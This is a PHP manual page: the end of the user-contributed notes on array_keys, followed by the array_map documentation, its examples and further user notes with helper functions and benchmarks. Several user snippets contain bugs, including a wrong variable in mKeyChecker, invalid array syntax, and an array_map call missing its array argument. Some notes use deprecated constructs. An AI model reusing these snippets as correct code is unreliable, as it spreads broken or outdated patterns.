//This will take array([5] => "test1", [4] => "test2", [9] => "test3") into array([0] => "test1", [1] => "test2", [2] => "test3") so you can access it easier.
        function normalize_array($array){
          $newarray = array();
          $array_keys = array_keys($array);
          $i=0;
          foreach($array_keys as $key){
           $newarray[$i] = $array[$key];

          $i++;
          }
          return $newarray;
        }
qeremy [atta] gmail [dotta] com 06-Mar-2012 02:50
Simple ways to prefixing arrays;

<?php
function array_keys_prefix($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[$pref.$key] = $val;
    }
    return $rarr;
}

function array_keys_prefix_multi($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[] = array_keys_prefix($val, $pref);
    }
    return $rarr;
}

// $a = array("foo" => "FOO", "bar" => "BAR", "baz" => "BAZ"); // or
$a = array("foo" => "FOO", "bar" => "BAR", "baz" => array(1,2,3));
print_r(array_keys_prefix($a, "my_"));

// db fetch...
$products = array(
    array("id" => 1, "name" => "Foo"),
    array("id" => 2, "name" => "Bar")
);
print_r(array_keys_prefix_multi($products, "product_"));
?>

Array
(
    [my_foo] => FOO
    [my_bar] => BAR
    [my_baz] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)
Array
(
    [0] => Array
        (
            [product_id] => 1
            [product_name] => Foo
        )

    [1] => Array
        (
            [product_id] => 2
            [product_name] => Bar
        )

)
izzecold at live dot de 10-Jan-2012 06:21
<?php

/* A Function created by myself for checking multiple array keys
For Example u got an Array like $_SESSION and u wanna know if the keys 'user','pass','email' and 'type' exists.

*/

function mKeyChecker($arr,$keys=array()) {
    if(count($keys) > 1) {
        $valid_keys = 0;
        foreach($keys as $key) {
            if(array_key_exists($key,$arr)) $valid_keys++;
        }
        if($valid_keys == count($keys)) {
            return true;
        } else {
            return false;
        }
    } else if(count($keys) == 1) {
        if(array_key_exists($key[0],$arr)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

// Execution Example

if(mKeyChecker($_SESSION,array('id','user','email','type'))) {
    echo "is!";
} else {
    echo "not!";
}

?>
craig1231 at hotmail dot com 22-Dec-2011 12:41
A needed a function to find the keys which contain part of a string, not equalling a string...

<?php
function array_keys_contain($input, $search_value, $strict = false)
    {
        $tmpkeys = array();

        $keys = array_keys($input);

        foreach ($keys as $k)
        {
            if ($strict && strpos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
            elseif (!$strict && stripos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
        }

        return $tmpkeys;
    }
?>
el dot quick at gmail dot com 23-Sep-2011 05:23
Sorry for my english...

I wrote a function to get keys of arrays recursivelly...

<?php
    function recursive_keys($input, $search_value = null){

        $output = ($search_value !== null ? array_keys($input, $search_value) : array_keys($input)) ;
        foreach($input as $sub){
            if(is_array($sub)){
                $output = ($search_value !== null ? array_merge($output, recursive_keys($sub, $search_value)) : array_merge($output, recursive_keys($sub))) ;
            }
        }
        return $output ;
    }
?>

I hope it will be usefull

Regards
pat dot leblanc at gmail dot com 29-Aug-2011 11:05
It's worth noting that if you have keys that are long integer, such as '329462291595', they will be considered as such on a 64bits system, but will be of type string on a 32 bits system.

for example:
<?php

$importantKeys = array('329462291595' =>null, 'ZZ291595' => null);

foreach(array_keys($importantKeys) as $key){
    echo gettype($key)."\n";
}

?>

will return on a 64 bits system:
<?php
    integer
    string
?>

but on a 32 bits system:
<?php
    string
    string
?>

I hope it will save someone the huge headache I had :)
ferrerna at gmail dot com 23-Jan-2009 06:14
Here's a function I needed to collapse an array, in my case from a database query.  It takes an array that contains key-value pairs and returns an array where they are actually the key and value.

<?php

function array_collapse($arr, $x, $y) {
    $carr = array();
    while ($el = current($arr)) {
        $carr[ $el[$x] ] = $el[$y];
        next($arr);
    }
    return $carr;
}

?>

Example usage (pseudo-database code):

<?php

$query = db_query('SELECT name, value FROM properties');

$result = db_returnAll($query);

/* This will return an array like so:

[
   ['name' -> 'color', 'value' -> 'blue'],
   ['name' -> 'style', 'value' -> 'wide-format'],
   ['name' -> 'weight', 'value' -> 3.6],
   ['name' -> 'name', 'value' -> 'Waerdthing']
]

*/

$propArr = array_collapse($result, 'name', 'value');

/* Now this array looks like:

[
   ['color' -> 'blue'],
   ['style' -> 'wide-format'],
   ['weight' -> 3.6],
   ['name' -> 'Waerdthing'],

*/

?>

I found this handy for using with json_encode and am using it for my project http://squidby.com
nodarinodo at mail dot ru 03-Dec-2008 08:35
<?php
    //It's a way to get keys from values )
    $es = array("is My FullName"=>"nodar chkuaselidze (nodarinodo)", "You Are" => "I don't know", "Is My Friend" => "ruxadze");
    foreach(array_values($es) as $ess){
        echo $ess." =>";

    for($i =0; $i < count(array_keys($es, $ess)); $i++){
            echo reset(array_keys($es, $ess))."<BR>";
        } }
?>
neil at 11 out of 10 24-Jul-2008 09:10
<?php

/*
 * This function will return the keys of elements in the
 * haystack where the value is found in array needle
 */

function array_value_intersect_keys( $array_haystack, $array_needle ){
    $intersected = array_intersect( $array_haystack, $array_needle );
    return array_keys( $intersected );
}

// usage

$array_haystack = array( 1 => 2, 2 => 5, 'red' => 8, 9 => 14 );

$array_needle = array( 2, 8 );

$array_keys_of_intersecting_values = array_value_intersect_keys( $array_haystack, $array_needle );

print_r( $array_keys_of_intersecting_values );
?>

returns
Array
(
    [0] => 1
    [1] => red
)
edsongarrido at gmail dot com 12-Jun-2008 02:46
/*
*
*This function will return a .csv from a given array inside the $_SESSION['my_array']
*
*$csv_name -> the name we want the csv has to
*$download -> true or false to download the csv file after done
*
*/

<?php

function createCSV($csv_name, $download) {

        $i = 1;
        $csv = "";

        /* erase the old file, if it exists */
        @unlink("../../csv/" . $csv_name . ".csv");

        /* array is in a session variable
         * this may be useful to avoid many db queries if it is the case */
        $my_array = $_SESSION['my_array'];

        /* how many fields has the given array */
        $fields = count(array_keys($my_array[0]));

        /* extracting the titles from the array */
        foreach(array_keys($my_array[0]) as $title)
        {
            /* array_keys percurs the title of each vector */
            $csv .= $title;

            /* while it is not the last field put a semi-colon ; */
            if($i < $fields)
                $csv .= ";";

            $i++;
        }

        /* insert an empty line to better visualize the csv */
        $csv .= chr(10).chr(13);
                $csv .= chr(10).chr(13);

        /* get the values from the extracted keys */
        foreach (array_keys($my_array) as $tipo)
        {

            $i = 1;

            foreach(array_keys($my_array[$tipo]) as $sub)
            {

                $csv .= $my_array[$tipo][$sub];

                if ($i < $fields)
                    $csv .= ";";

                $i++;
            }

            $csv .= chr(10).chr(13);

        }

        /* export the csv */
        $export_csv=fopen("../../csv/". $csv_name .".csv", "w+");
        fwrite($export_csv, $csv);
        fclose($export_csv);

        /* download the csv */
        if ($download == true)
            header('Location:' . "../../csv/" . $csv_name . ".csv");

        exit();

    }

?>
Hayley Watson 05-Oct-2007 03:43
An alternative to RQuadling at GMail dot com's array_remove() function:

<?php
function array_remove(array $array, $value, $strict=false)
{
    return array_diff_key($array, array_flip(array_keys($array, $value, $strict)));
}
?>
creator at mindcreations dot com 20-Mar-2007 11:12
This function will extract keys from a multidimensional array

<?php
function multiarray_keys($ar) {

    foreach($ar as $k => $v) {
        $keys[] = $k;
        if (is_array($ar[$k]))
            $keys = array_merge($keys, multiarray_keys($ar[$k]));
    }
    return $keys;
}
?>

Example code:

<?php
$array = array("color" => array("1stcolor" => "blue", "2ndcolor" => "red", "3rdcolor" => "green"),
               "size"  => array("small", "medium", "large"));

echo "<pre>";
print_r($array);
echo "</pre>";

echo "<pre>";
print_r(multiarray_keys($array));
echo "</pre>";
?>

Example output:

Array
(
    [color] => Array
        (
            [1stcolor] => blue
            [2ndcolor] => red
            [3rdcolor] => green
        )

    [size] => Array
        (
            [0] => small
            [1] => medium
            [2] => large
        )

)

Array
(
    [0] => color
    [1] => 1stcolor
    [2] => 2ndcolor
    [3] => 3rdcolor
    [4] => size
    [5] => 0
    [6] => 1
    [7] => 2
)
jochem 18-Feb-2006 01:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

<?php
$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");
?>

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
    [0] => 0
    [1] => 1
    [] => 2
    [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com) 19-Dec-2005 03:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it 09-Dec-2005 10:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
ru dot dy at gmx dot net 14-Aug-2005 06:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
    if ($stack = func_get_args()) {
      $input = array_shift($stack);
      foreach ($stack as $key) {
        unset($input[$key]);
      }
      return $input;
    }
    return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
    [a] => fun
    [b] => 3.14
    [sub] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [d] => what
    [e] => xample
    [5] => x
)
Array
(
    [a] => fun
    [e] => xample
)

Hope this helps someone.
webmaster [at] baz-x [dot] at 30-Jul-2005 12:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
    foreach ( $array as $key => $value )
    {
        if ( $extract_type == 1 && is_string($key) )
        {
            // delete string keys
            unset($array[$key]);
        }
        elseif ( $extract_type == 2 && is_int($key) )
        {
            // delete integer keys
            unset($array[$key]);
        }
    }

    return $array;
}

?>

You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
sip at email dot ee 22-Aug-2003 02:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br 05-Feb-2003 01:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you don�t have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

      foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
              " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
              show_keys ($ar[$k]);
         }

         echo "</td>";

      }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
glennh at webadept dot net 13-Nov-2002 01:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
        echo $key." = ".$value." ";
}
?>


Applies the callback to the elements of the given arrays

  • « array_keys
  • array_merge_recursive »
  • PHP Manual
  • Array Functions
  • Applies the callback to the elements of the given arrays

array_map

(PHP 4 >= 4.0.6, PHP 5)

array_map — Applies the callback to the elements of the given arrays

Description

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map() returns an array containing all the elements of array1 after applying the callback function to each one. The number of parameters that the callback function accepts should match the number of arrays passed to the array_map()

Parameters

callback

Callback function to run for each element in each array.

array1

An array to run through the callback function.

...

Variable list of array arguments to run through the callback function.

Return Values

Returns an array containing all the elements of array1 after applying the callback function to each one.

Examples

Example #1 array_map() example

<?php
function cube($n)
{
    return($n * $n * $n);
}

$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>

This makes $b have:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

Example #2 array_map() using a lambda function (as of PHP 5.3.0)

<?php
$func = function($value) {
    return $value * 2;
};

print_r(array_map($func, range(1, 5)));
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)

Example #3 array_map() - using more arrays

<?php
function show_Spanish($n, $m)
{
    return("The number $n is called $m in Spanish");
}

function map_Spanish($n, $m)
{
    return(array($n => $m));
}

$a = array(1, 2, 3, 4, 5);
$b = array("uno", "dos", "tres", "cuatro", "cinco");

$c = array_map("show_Spanish", $a, $b);
print_r($c);

$d = array_map("map_Spanish", $a , $b);
print_r($d);
?>

The above example will output:

// printout of $c
Array
(
    [0] => The number 1 is called uno in Spanish
    [1] => The number 2 is called dos in Spanish
    [2] => The number 3 is called tres in Spanish
    [3] => The number 4 is called cuatro in Spanish
    [4] => The number 5 is called cinco in Spanish
)

// printout of $d
Array
(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

Usually when using two or more arrays, they should be of equal length because the callback function is applied in parallel to the corresponding elements. If the arrays are of unequal length, shorter ones will be extended with empty elements to match the length of the longest.

An interesting use of this function is to construct an array of arrays, which can be easily performed by using NULL as the name of the callback function

Example #4 Creating an array of arrays

<?php
$a = array(1, 2, 3, 4, 5);
$b = array("one", "two", "three", "four", "five");
$c = array("uno", "dos", "tres", "cuatro", "cinco");

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

If the array argument contains string keys then the returned array will contain string keys if and only if exactly one array is passed. If more than one argument is passed then the returned array always has integer keys.

Example #5 array_map() - with string keys

<?php
$arr = array("stringkey" => "value");
function cb1($a) {
    return array ($a);
}
function cb2($a, $b) {
    return array ($a, $b);
}
var_dump(array_map("cb1", $arr));
var_dump(array_map("cb2", $arr, $arr));
var_dump(array_map(null,  $arr));
var_dump(array_map(null, $arr, $arr));
?>

The above example will output:

array(1) {
  ["stringkey"]=>
  array(1) {
    [0]=>
    string(5) "value"
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}
array(1) {
  ["stringkey"]=>
  string(5) "value"
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}

See Also

  • array_filter() - Filters elements of an array using a callback function
  • array_reduce() - Iteratively reduce the array to a single value using a callback function
  • array_walk() - Apply a user supplied function to every member of an array
  • information about the callback type

User Contributed Notes

wapinet at mail dot ru 15-Jul-2014 10:54
PHP 5.5.14
<?php
$columns = range(1, 100000);
$time = microtime(true);

/*
0.067003011703491 sec
24903680 byte
 */
array_map(function ($value) {
    return 'p.' . $value;
}, $columns);

/*
0.042001962661743 sec
19398656 byte
 */
foreach ($columns as $key => $column) {
    $columns[$key] = 'p.' . $column;
}

/*
0.05500316619873 sec
10747904 byte
 */
array_walk($columns, function (&$value, $key) {
    $value = 'p.' . $value;
});

/*
0.0260009765625 sec
10747904 byte
 */
foreach ($columns as &$column) {
    $column = 'p.' . $column;
}

echo microtime(true) - $time . "\n" . memory_get_peak_usage(true) . "\n";
JacobA dot Barber at yahoo dot com 08-May-2014 01:27
Here is an example for php 5.4 and greater, using a closure:
<?php
$myList = [1,2,3,4];

$mappedList = array_map(function($value){
    return $value * 2;
}, $myList);

var_dump($mappedList);

array(4) {
  [0]=>int(2)
  [1]=>int(4)
  [2]=>int(6)
  [3]=>int(8)
}
?>
This is useful when you don't want/need to define a function just so it can be used with the map function.
ian_channing at hotmail dot com 12-Feb-2014 08:10
I wanted a nice way to convert an array with x values as keys and y values as values e.g. array(x => y,...) into x,y co-ordinates e.g. array(array(x,y), ...).

You can do:

<?php
foreach ($waveform as $key => $waveformPoint) {
    $coordinates[] = array($key, $waveformPoint);
}
?>

But array_map with a null callback gives you a nicer way:

<?php
$coordinates = array_map(null, array_keys($waveform), array_values($waveform));
?>
williamprogphp at yahoo dot com dot br 31-Jan-2014 09:54
A function to map an array working also with its key.

<?php
    function array_mapk($callback, $array) {
        $newArray = array();
        foreach ($array as $k => $v) {
            $newArray[$k] = call_user_func($callback, $k, $v);
        }
        return $newArray;
    }
?>

Usage:

<?php
    $dados = array();
    $dados['cep'] = "32340-070";
    $dados['initial'] = 100;
    $dados['final'] = 300;
    $dados['processed'] = 1;

    echo "update table set " . implode(", ", array_mapk(function ($k, $v) { return "{$k} = '" . mysql_real_escape_string($v) . "'"; }, $dados));
?>

Cheers.
elfe1021 at gmail dot com 13-Dec-2013 11:44
Find an interesting thing that in array_map's callable function, late static binding does not work:
<?php
class A {
    public static function foo($name) {
        return 'In A: '.$name;
    }

    public static function test($names) {
        return array_map(function($n) {return static::foo($n);}, $names);
    }
}

class B extends A{
    public static function foo($name) {
        return 'In B: '.$name;
    }
}

$result = B::test(['alice', 'bob']);
var_dump($result);
?>

the result is:
array (size=2)
  0 => string 'In A: alice' (length=11)
  1 => string 'In A: bob' (length=9)

if I change A::test to
<?php
    public static function test($names) {
        return array_map([get_called_class(), 'foo'], $names);
    }
?>

Then the result is as expected:
array (size=2)
  0 => string 'In B: alice' (length=11)
  1 => string 'In B: bob' (length=9)
lukasz dot mordawski at gmail dot com 03-Dec-2013 07:55
Let's assume we have following situation:

<?php
class MyFilterClass {
    public function filter(array $arr) {
        return array_map(function($value) {
            return $this->privateFilterMethod($value);
        });
    }

    private function privateFilterMethod($value) {
        if (is_numeric($value)) $value++;
        else $value .= '.';
    }
}
?>

This will work, because $this inside anonymous function (unlike for example javascript) is the instance of MyFilterClass inside which we called it.
I hope this would be useful for anyone.
CertaiN 23-Aug-2013 05:52
The most memory-efficient array_map_recursive().

<?php
function array_map_recursive(callable $func, array $arr) {
    array_walk_recursive($arr, function(&$v) use ($func) {
        $v = $func($v);
    });
    return $arr;
}
?>
contato at williamsantana dot com dot br 30-Jul-2013 09:42
In case of you need to recursively bypass a function over the itens of an array, you can use it

<?php
    function array_map_recursive($callback, $array) {
        foreach ($array as $key => $value) {
            if (is_array($array[$key])) {
                $array[$key] = array_map_recursive($callback, $array[$key]);
            }
            else {
                $array[$key] = call_user_func($callback, $array[$key]);
            }
        }
        return $array;
    }
?>

-----------------------------------------------------------------------

<?php
    $strings = array(
        'The',
        array(
            'quick',
            'fox',
            array(
                'brown',
                'jumps',
                array(
                    'over',
                    array(
                        'the',
                        array(
                            'lazy',
                            array(
                                'dog'
                            )
                        )
                    )
                )
            )
        )
    );

    print_r($strings);
    $hashedString = array_map_recursive('md5', $strings);
    print_r($hashedString);
?>

------------------------------------------------------------------------
Testing it, you'll obtain

<?php

/* Original array */

array (
  0 => 'The',
  1 =>
  array (
    0 => 'quick',
    1 => 'fox',
    2 =>
    array (
      0 => 'brown',
      1 => 'jumps',
      2 =>
      array (
        0 => 'over',
        1 =>
        array (
          0 => 'the',
          1 =>
          array (
            0 => 'lazy',
            1 =>
            array (
              0 => 'dog',
            ),
          ),
        ),
      ),
    ),
  ),
);

/* Recursived array */
array (
  0 => 'a4704fd35f0308287f2937ba3eccf5fe',
  1 =>
  array (
    0 => '1df3746a4728276afdc24f828186f73a',
    1 => '2b95d1f09b8b66c5c43622a4d9ec9a04',
    2 =>
    array (
      0 => '6ff47afa5dc7daa42cc705a03fca8a9b',
      1 => '55947829059f255e4ba2f536a2ae99fe',
      2 =>
      array (
        0 => '3b759a9ca80234563d87672350659b2b',
        1 =>
        array (
          0 => '8fc42c6ddf9966db3b09e84365034357',
          1 =>
          array (
            0 => '0ffe34b4e04c2b282c5a388b1ad8aa7a',
            1 =>
            array (
              0 => '06d80eb0c50b49a509b49f2424e8c805',
            ),
          ),
        ),
      ),
    ),
  ),
);

?>

Hope it helps you.

Cheers.
jessiedeer at hotmail dot com 16-Jul-2013 07:34
array_map becomes interesting and faster than foreach when used with existing PHP functions.

Example:

$arr1 = array(1, 2, 3, 4);
$arr2 = array(4, 3, 2, 1);

// array with min values for each key
print_r(array_map("min", $arr1, $arr2));

Result: Array ( [0] => 1 [1] => 2 [2] => 2 [3] => 1 )

// array with max values for each key
print_r(array_map("max", $arr1, $arr2));

Result: Array ( [0] => 4 [1] => 3 [2] => 3 [3] => 4 )
jessiedeer at hotmail dot com 16-Jul-2013 07:27
array_map becomes interesting and faster than foreach when used with existing PHP functions.

Example:

$arr1 = array(1, 2, 3, 4);
$arr2 = array(4, 3, 2, 1);

// array with min values for each key
print_r(array_map("min", $arr1, $arr2));

Result: Array ( [0] => 1 [1] => 2 [2] => 2 [3] => 1 )

// array with max values for each key
print_r(array_map("max", $arr1, $arr2));

Result: Array ( [0] => 4 [1] => 3 [2] => 3 [3] => 4 )
Anonymous 06-Jul-2013 10:21
Simple yet effective associative version of map that accepts arbitrary number of arrays.
Instead of elements, result from each() get passed as function arguments.

<?php
function array_map_assoc(){
    if(func_num_args() < 2) throw new \BadFuncionCallException('Missing parameters');
    $args = func_get_args();
    $callback = $args[0];
    if(!is_callable($callback)) throw new \InvalidArgumentException('First parameter musst be callable');
    $arrays = array_slice($args, 1);
    array_walk($arrays, function(&$a){
        $a = (array)$a;
        reset($a);
    });
    $results = array();
    $max_length = max(array_map('count', $arrays));
    $arrays = array_map(function($pole) use ($max_length){
        return array_pad($pole, $max_length, null);
    }, $arrays);
    for($i=0; $i < $max_length; $i++){
        $elements = array();
        foreach($arrays as &$v){
            $elements[] = each($v);
        }
        unset($v);
        $out = call_user_func_array($callback, $elements);
        if($out === null) continue;
        $val = isset($out[1]) ? $out[1] : null;
        if(isset($out[0])){
            $results[$out[0]] = $val;
        }else{
            $results[] = $val;
        }
    }
    return $results;
}

//USAGE:
$days = array('Sun' => 'Sunday', 'Mon' => 'Monday', 'Tue' => 'Tuesday', 'Wed' => 'Wednesday', 'Thu' => 'Thursday', 'Fri' => 'Friday', 'Sat' => 'Saturday');
$nums = array('First', 'Second', 'Third', 'Fourth', 'Fifth', 'Sixth', 'Seventh');

$result = array_map_assoc(function($a, $b){
    return array($b['value'], $a['key']);
}, $days, $nums);

var_dump($result);

//RESULT:
array (size=7)
  'First' => string 'Sun' (length=3)
  'Second' => string 'Mon' (length=3)
  'Third' => string 'Tue' (length=3)
  'Fourth' => string 'Wed' (length=3)
  'Fifth' => string 'Thu' (length=3)
  'Sixth' => string 'Fri' (length=3)
  'Seventh' => string 'Sat' (length=3)
hrvoj3e at gmail dot com 30-Apr-2013 11:38
Why not use

mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

Works for me! :)
James 16-Mar-2013 02:07
array_map() can be applied to assoc arrays without affecting the keys
shakespeare32 at gmail dot com 20-Feb-2013 04:01
Why not an array of callbacks?

<?php
function array_maps($callbacks, $array) {
    if (!$callbacks) { return $array; }

    if (!is_array($callbacks) && is_string($callbacks) && function_exists($callbacks)) {
        return array_map($callbacks, $array);
    }

    foreach($callbacks as $callback) {
        if (function_exists($callback)) {
        $array = array_map($callback, $array);
        }
    }

    return $array;
}
?>
godek dot maciek at gmail dot com 19-Apr-2012 04:01
I came up with a convenient syntax for method application, particularly useful inside the array_map.
For instance, if you want to
array_map(function($object, $arg1) { return $object->method($arg1, "arg2"); }, $objects, $args1);

it is possible to provide a shorthand:
global $_; // necessary inside a function, unfortunately

array_map($_->method($_, "arg2"), $objects, $args1);

Here's the implementation (works with 5.3)

function m_caller($method) {
  $args = func_get_args();
  array_shift($args);
  return function($object) use($method, $args) {
    global $_;
    $local_args = func_get_args();
    array_shift($args);
    if(!is_object($object)) {
      // error
    }
    $reflection = new ReflectionMethod(get_class($object), $method);
    foreach($args as $key => $arg) {
      if($arg === $_) {
        $args[$key] = array_shift($local_args);
      }
    }
    return $reflection->invokeArgs($object, array_merge($args, $local_args));
  };
}

class MethodCaller {
  public function __call($name, $arguments) { return call_user_func_array('m_caller', array_merge(array($name), $arguments)); }
  public function __get($name) { return m_caller($name); }
};

$_ = new MethodCaller();
qeremy 07-Mar-2012 07:35
An alternative for recursive mapping;

<?php
function array_map_recursive($fn, $arr) {
    $rarr = array();
    foreach ($arr as $k => $v) {
        $rarr[$k] = is_array($v)
            ? array_map_recursive($fn, $v)
            : $fn($v); // or call_user_func($fn, $v)
    }
    return $rarr;
}

function sqr($x) {
    return "$x ^ 2 = ". ($x * $x);
}

$a = array(1, 2, 3, array(4, array(5)));
$b = array_map_recursive("sqr", $a);
print_r($b);
?>

Array
(
    [0] => 1 ^ 2 = 1
    [1] => 2 ^ 2 = 4
    [2] => 3 ^ 2 = 9
    [3] => Array
        (
            [0] => 4 ^ 2 = 16
            [1] => Array
                (
                    [0] => 5 ^ 2 = 25
                )

        )

)
gmail.com@mspreij 27-Feb-2012 07:48
Hope I'm not late to the party, here's my function to apply array_map to the *keys* of an array.
Extra array arguments will be used for the callback function's parameters just like with array_map, with the difference that a string is also allowed: it will just be used to create an array of appropriate length with as each value that string. Arrays are left alone (and will be padded with nulls by array_map as needed).

<?php

//_________________________________________________
// array_map_keys($callback, $array, [$args, ..]) /
function array_map_keys($callback, $array /* [, $args ..] */) {
  $args = func_get_args();
  if (! is_callable($callback)) trigger_error("first argument (callback) is not a valid function", E_USER_ERROR);
  if (! is_array($array)) trigger_error("second argument must be an array", E_USER_ERROR);
  $args[1] = array_keys($array);
  // If any additional arguments are not arrays, assume that value is wanted for every $array item.
  // array_map() will pad shorter arrays with Null values
  for ($i=2; $i < count($args); $i++) {
    if (! is_array($args[$i])) {
      $args[$i] = array_fill(0, count($array), $args[$i]);
    }
  }
  return array_combine(call_user_func_array('array_map', $args), $array);
}

// Some examples:

$arr = array('foo'=>123, 'bar'=>456);

// simply uppercase keys:
var_dump(array_map_keys('strtoupper', $arr));
// or..
var_dump(array_map_keys(function($input) {return strtoupper($input);}, $arr));
// >> array(2) { ["FOO"]=>int(123) , ["BAR"]=> int(456) }

// Add a prefix 'myvar_':
var_dump(array_map_keys(function($input, $prefix) {return $prefix.$input;}, $arr, 'myvar_'));
// >> array(2) { ["myvar_foo"]=>int(123) , ["myvar_bar"]=>int(456) }

// Apart from the (static string) prefix, we also number them:
$arr = array('foo'=>123, 'bar'=>456, 'bazz'=>789, 'yadda'=>'0AB');
var_dump(array_map_keys(function($input, $middle, $number) {return $number.':'.$middle.$input;}, $arr, 'myvar_', range(1, count($arr))));
// >> array(4) { ["1:myvar_foo"]=>int(123) , ["2:myvar_bar"]=>int(456) , ["3:myvar_bazz"]=>int(789) , ["4:myvar_yadda"]=>string(3) "0AB" }

?>
php/hotblocks/nl 28-Nov-2011 02:00
Note that the $arr argument has to be an array, not just a Traversable/Iterator.

For instance this won't work:

<?php

$documents = $mongo->db->collection->find();
// $documents is Traversable by foreach

$ids = array_map(function($document) {
  return $document['_id'];
}, $objects);
// $ids will now be NULL, because $documents wasn't an Array

?>

A solution is to first use iterator_to_array():

<?php

$ids = array_map(function($document) {
  return $document['_id'];
}, iterator_to_array($objects));
// $ids will now be an array of ['_id']s

?>

